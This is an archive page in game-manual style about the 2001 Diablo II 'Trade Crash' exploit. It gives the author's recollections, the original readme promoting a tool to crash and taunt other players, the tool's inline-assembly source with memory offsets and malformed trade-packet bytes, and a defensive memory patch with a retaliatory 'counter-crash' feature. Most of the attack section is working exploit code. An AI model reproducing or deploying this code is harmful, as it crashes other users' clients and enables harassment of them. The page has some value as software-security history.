D2-TRADE-CRASH(6) Games Manual D2-TRADE-CRASH(6)

NAME

Diablo II Trade Crash Hacks — A collection of memory patches for both executing and defending against the infamous 'Trade Crash' exploit.

METADATA

Platform: Diablo II
Release: 2001-10-23
Status: Archived — binary/source preserved

SYNOPSIS

TradeCrash.exe

DESCRIPTION

The Trade Crash was an exploit in Diablo II v1.09 that allowed a player to crash the game client of another player by sending malformed or illegal sequences of trade-related packets, most effectively when approaching them in town.

The archive contains:

  • readme.txt - The original readme file that was distributed with TechWarrior’s utility
  • TechTradeCrashASM.cpp - C++ source (with inline assembly) for TechWarrior’s TechCrash.exe
  • AntiTradeAndCounter.dat - Defensive patch to block crashes

KEY FEATURES

  • Trade Crash — A simple but effective exploit that crashes the client of another player that you get close to in town.
  • Anti-Trade Crash V2 — A sophisticated countermeasure that prevents client crashes, identifies the attacker on-screen, and includes an optional “counter-crash” mechanism to retaliate against the malicious player.

NOTES

I discovered this exploit while experimenting with the trade packet flow and shared the details with a few friends in the scene. TechWarrior, who had become notorious with his Hostility hack, built a utility around it and released it publicly, which gave it broader visibility.

It caused a noticeable stir in the community before Blizzard patched it shortly afterward.

In the meantime, I had already developed a countermeasure to protect users from the exploit, and even added a “counter-crash” feature to retaliate against the malicious player. Having the anti-crash was essential for anyone participating in battle.net games with strangers.

There used to be .exe binaries for the original trade crash and my anti-crash version, but I’m only including the .dat files and C++ source code here.

ATTACHMENTS (Browsing /usr/games/hacks/)

Path: /usr/games/hacks/diablo_2/trade_crash/readme.txt1401 bytes
TradeCrash v1.0 by TechWarrior & Arsenic:

TradeCrash is a powerful new hack that allows you to crash
other players with a technique that Artemis`Entreri / Arsenic
found recently.  As soon as I found out about it and tried it,
I made this little program for ease of crashing.  With it you
can target and then crash people who are running away from you
as well as when they're standing still.  It is limited to
crashes in town (where you can trade), so hardcore characters
will be safe.  It's reasonably user-friendly, and has some
useful and funny messaging functions which you can configure to
say whatever you want to or about targetted players.  It has
been tested and verified to work in Win9x, and Win2k, and also
in plain Diablo II, and Diablo II expansion.

Even though it's reasonably self-explanatory looking at the main
screen, I'd still recommend you press the 'Info' button, to
understand precisely how to work it effectively.

This program does no damage to the battle.net servers, and thus
wouldn't be considered a Denial of Service attack (to battle.net
servers at any rate). Still, by using it you are taking upon
yourself any responsibility, or consequence of using it, as it
is still a 'hack'.

My special thanks to Artemis/Arsenic for supplying me with the
essential information on how to bring about a client crash.
I hope you enjoy using this program.
Path: /usr/games/hacks/diablo_2/trade_crash/TechTradeCrashASM.cpp5261 bytes
void __declspec(naked) MainHack_ASM()
{ 
	__asm { 
		jmp ButtonCheck		;0x6FC1A900
			jmp CrashPlayer ;(+2)
ButtonCheck:
		mov esi, dword ptr [edi+0x08]
			xor edx, edx
			pushad
			cmp esi, 0x39	;9
			je Message9
			cmp esi, 0x30	;0
			je Message0
			cmp esi, 0xBD	;-
			je MessageMinus
			cmp esi, 0xBB	;+
			je SelectPlayer
			cmp esi, 0x08	;backspace
			je TradePlayer
			popad
			mov ebp, 0x6FACEF99
			jmp ebp
Message9:
		mov esi, ADDR_MESSAGE9
			jmp MessageSend
Message0:
		mov esi, ADDR_MESSAGE0
			jmp MessageSend
MessageMinus:
		mov esi, ADDR_MESSAGEMINUS
MessageSend:
		mov ebp, dword ptr [0x6FBB6D84]
			mov ebp, dword ptr [ebp]
			jmp LetItWork
Search:
		mov ebp, dword ptr [ebp+0x80]
LetItWork:
		cmp ebp, 00
			jne ContinueSearch
			mov ebp, ADDR_NAMEERROR
			jmp MessageStartsHere
ContinueSearch:
		mov edx, dword ptr [ebp+0x10]
			mov eax, 0x6FBB5F00
			cmp edx, dword ptr [eax]
			jne Search
			add ebp, 0x66
MessageStartsHere:
		mov edi, 0x6FBBCE50
MessageMain:
		movzx ax, byte ptr [esi]
			cmp ax, 0x00
			je NoMore
			cmp al, '%'
			jne NotName
			mov ebx, esi
			mov esi, ebp
			call TwoByteWords
			mov esi, ebx
			inc esi
			jmp MessageMain
NotName:
		mov word ptr [edi], ax
			inc esi
			add edi, 0x02
			jmp MessageMain
			
NoMore:
		mov word ptr [edi], 00
			mov edi, 0x6FBBCE50
			push edi
			call Here
			jmp QuitAfterAction
Here:
		sub esp, 0x230
			mov eax, 0x6FACBF7B
			jmp eax
			
SelectPlayer:
		xor ebp, ebp		;Passed the right one
			xor esi, esi	;Passed the end once
			xor edx, edx	;There's somebody else in the game
			mov edi, dword ptr [0x6FBB5F00]
			mov eax, dword ptr [0x6FBB6D84]
			mov eax, dword ptr [eax]
			mov ecx, dword ptr [0x6FBC7578]
			mov ecx, dword ptr [ecx+0x8]
			cmp dword ptr [edi], 0x00
			je FindNumber
Start:
		mov eax, dword ptr [eax+0x00000080]
			cmp eax, 00
			je FindNumber
			cmp byte ptr [eax], 0x00
			je FindNumber
			inc edx	//there's somebody else in the game
			mov ebx, dword ptr [eax+0x10]
			cmp ebx, ecx
			je Start	//it's you
			cmp ebx, dword ptr [edi]
			jne Next
			inc ebp	;right one
			
			jmp Start
Next:
		cmp ebp, 0x00
			je Start
			mov edi, 0x6FBB5F00
			mov dword ptr [edi], ebx
			lea esi, dword ptr [eax+0x66]	;success message
			mov edi, ADDR_SPACE
			call TwoByteWords
NextPart:
		mov esi, ADDR_SUCCESSMESSAGE
			call TwoByteWords
			mov word ptr [edi], 00
			jmp MessageToScreen
FindNumber:
		mov eax, dword ptr [0x6FBB6D84]
			mov eax, dword ptr [eax]
			inc ebp	;next valid one is it
			inc esi	;Found
			mov dword ptr [edi], 00
			cmp esi, 0x01
			jle Start
EndFail:
		mov esi, ADDR_FAILMESSAGE	;source
			mov edi, ADDR_SPACE	
			call TwoByteWords
			mov word ptr [edi], 00
			
MessageToScreen:
		mov dl, 01
			mov ecx, ADDR_SPACE	;space
			mov ebp, 0x6FB21C20
			call ebp
QuitAfterAction:
		popad
			mov ebp, 0x6FACEFD7
			jmp ebp
TwoByteWords:
		movzx ax, byte ptr [esi]
			cmp ax, 0x00
			je Return
			mov word ptr [edi], ax
			inc esi
			add edi, 0x02
			jmp TwoByteWords
			
Return:
		ret
TradePlayer:
		mov ebp, 0x6FBB5F00
			mov eax, dword ptr [ebp]
			cmp eax, 00
			je NoValidPlayer
			mov ebp, 0x6FBB5F04
			mov byte ptr [ebp], 01
			mov esi, ADDR_WALKPACKET
			mov edi, ADDR_SPACE
			mov ecx, 0x9
			repz movsb
			mov ebp, ADDR_SPACE
			mov word ptr [ebp+5], ax
			push 0x9 ;length
			push ADDR_SPACE ;offset of packet data
			push 0x1
			mov ebp, 0x6FC01780
			call ebp
			mov esi, ADDR_TRADEPACKET
			mov edi, ADDR_SPACE
			mov ecx, 0x9
			repz movsb
			mov ebp, ADDR_SPACE
			mov word ptr [ebp+5], ax
			push 0x9 ;length
			push ADDR_SPACE ;offset of packet data
			push 0x1
			mov ebp, 0x6FC01780
			call ebp
			jmp QuitAfterAction
NoValidPlayer:
		mov esi, ADDR_NOVALIDMESSAGE	;source
			mov edi, ADDR_SPACE	
			call TwoByteWords
			mov word ptr [edi], 00
			jmp MessageToScreen
CrashPlayer:
		mov ecx, 0x6FBB5F04
			cmp byte ptr [ecx], 01	;was trade crash sent
			je SendCrash
			mov ecx, ADDR_ALWAYSCRASH
			cmp byte ptr [ecx], 01	;are all trades set to crash
			jne ReplaceAndReturn
SendCrash:
		pushad
			mov esi, ADDR_CRASHPACKET
			push 0x7 ;length
			push esi ;offset of packet data
			push 0x1
			mov ebp, 0x6FC01780
			call ebp
			mov ecx, 0x6FBB5F04
			mov byte ptr [ecx], 00
			popad
ReplaceAndReturn:
		mov ecx, 0x6FBC5308
			mov eax, dword ptr [ecx]
			mov ecx, 0x6FB24EA5
			jmp ecx
	}
}


long mainAsmOffset=0x6FC1A900;
long lKeyJumpOffset=0x6FACEF94;
long lKeysInTradeOffset1=0x6FB27FC3;
long lKeysInTradeOffset2=0x6FB28509;
long lTradeCrashOffset=0x6FB24EA0;
char cKeyJumpOld[]={0x8B,0x77,0x08,0x33,0xD2};
char cKeyJumpNew[]={0xE9,0x67,0xB9,0x14,0x00};
char cTradeCrashOld[]={0xA1,0x08,0x53,0xBC,0x6F};
char cTradeCrashNew[]={0xE9,0x5D,0x5A,0x0F,0x00};
char cKeysInTrade1New[]={0x90,0x90};
char cKeysInTrade1Old[]={0x33,0xC9};
char cKeysInTrade2New[]={0xEB,0x4F};
char cKeysInTrade2Old[]={0xA1,0x64};

char szTradePacket[]={0x13,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};
char szWalkPacket[]={0x13,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};
char szCrashPacket[]={0x4F,0x07,0x00,0x00,0x00,0x00,0x00};
Path: /usr/games/hacks/diablo_2/trade_crash/AntiTradeAndCounter.dat2653 bytes
start v1.09 Anti Trade Crash V2 Final - Written By Arsenic
#Check if someone attempted to crash us, if so send back accept trade packet
#and bCrash = true
6ff64a60 66f745fc1008 e89b08010090
6ff75300 00000000000000000000000000000000 3d020000007543b82A53f76f60e821c9
6ff75310 00000000000000000000000000000000 b3ff8b155453f76f8bc82bca81f9c409
6ff75320 00000000000000000000000000000000 00007225a35453f76fc6055053f76f01
6ff75330 00000000000000000000000000000000 66be02006a07686053f76f6a01e83ec4
6ff75340 0000000000000000000000 c8ff664e6685f675eb61c3

#Accept trade packet
6ff75360 00000000000000 4f030000000000
#Trade packet
6ff75370 000000000000000000 130000000000000000
#Crash packet
6ff75380 00000000000000 4f070000000000

#Recv Packet Checks
#--------------------------
#- Packet 7700 = Asking someone to trade -> Send crash packet
#- Packet 770c = Trade screen closed -> send back ask to trade packet
#- Packet 78   = Other player infos when trading -> call :SomeoneTriedToCrashUs - Get other plr name and slot
#--------------------------
6fc0166f 8bfdc1e902 e8894f0000
6fc065fd 00000000000000000000000000000000 803d5053f76f01753d6066813b770c75
6fc0660d 00000000000000000000000000000000 0e6a09685d68c06f6a01e864b1ffff66
6fc0661d 00000000000000000000000000000000 813b770075156a07688053f76f6a01e8
6fc0662d 00000000000000000000000000000000 4fb1ffffc6055053f76f00803b787505
6fc0663d 000000000000000000000000 e81b000000618bfdc1e902c3

# " has tried to crash you"
6fc0675d ** 2068617320747269656420746f20637261736820796f7500

# "Attempting to counter crash..."
6fc0677d ** 417474656d7074696e6720746f20636f756e7465722063726173682e2e2e00

#Someone tried to crash us - Count and copy name string
6fc0665d 00000000000000000000000000000000 6033c941803c0b0075f9498d7301bf5d
6fc0666d 0000000000 68c06ff3a4

#Someone tried to crash us - Print who tried to crash us and counter crash messages
6fc06672 00000000000000000000000000000000 6a1859be5d67c06ff3a46a13685d68c0
6fc06682 00000000000000000000000000000000 6fe878000000803d5253f76f0175276a
6fc06692 00000000000000000000000000000000 0f687d67c06fe8630000006a0959be70
6fc066a2 00000000000000000000000000000000 53f76fbf5d68c06ff3a48d43118b00a3
6fc066b2 00000000000000000000000000000000 6268c06feb07c6055053f76f006a0768
6fc066c2 00000000000000000000000000 6053f76f6a01e8b3b0ffff61c3
 
#Print messages to screen routine
6fc06700 00000000000000000000000000000000 8bec68000100008b5504b9ad68c06fff
6fc06710 00000000000000000000000000000000 156ccbb66f8a5508b9ad68c06fe8feb4
6fc06720 0000000000 f1ffc20800

#Counter crash boolean - 01 = Counter Crash
6ff75352 00 01

end

SEE ALSO

  • d2-anti-trade-counter(7) — How to detect, block, and counter-crash the Diablo II trade crash exploit — design walkthrough and annotated ASM source.

TECHNOLOGIES

  • Network Protocol
  • Packet Manipulation
  • Exploit Development
int03h.com circa 2001 D2-TRADE-CRASH(6)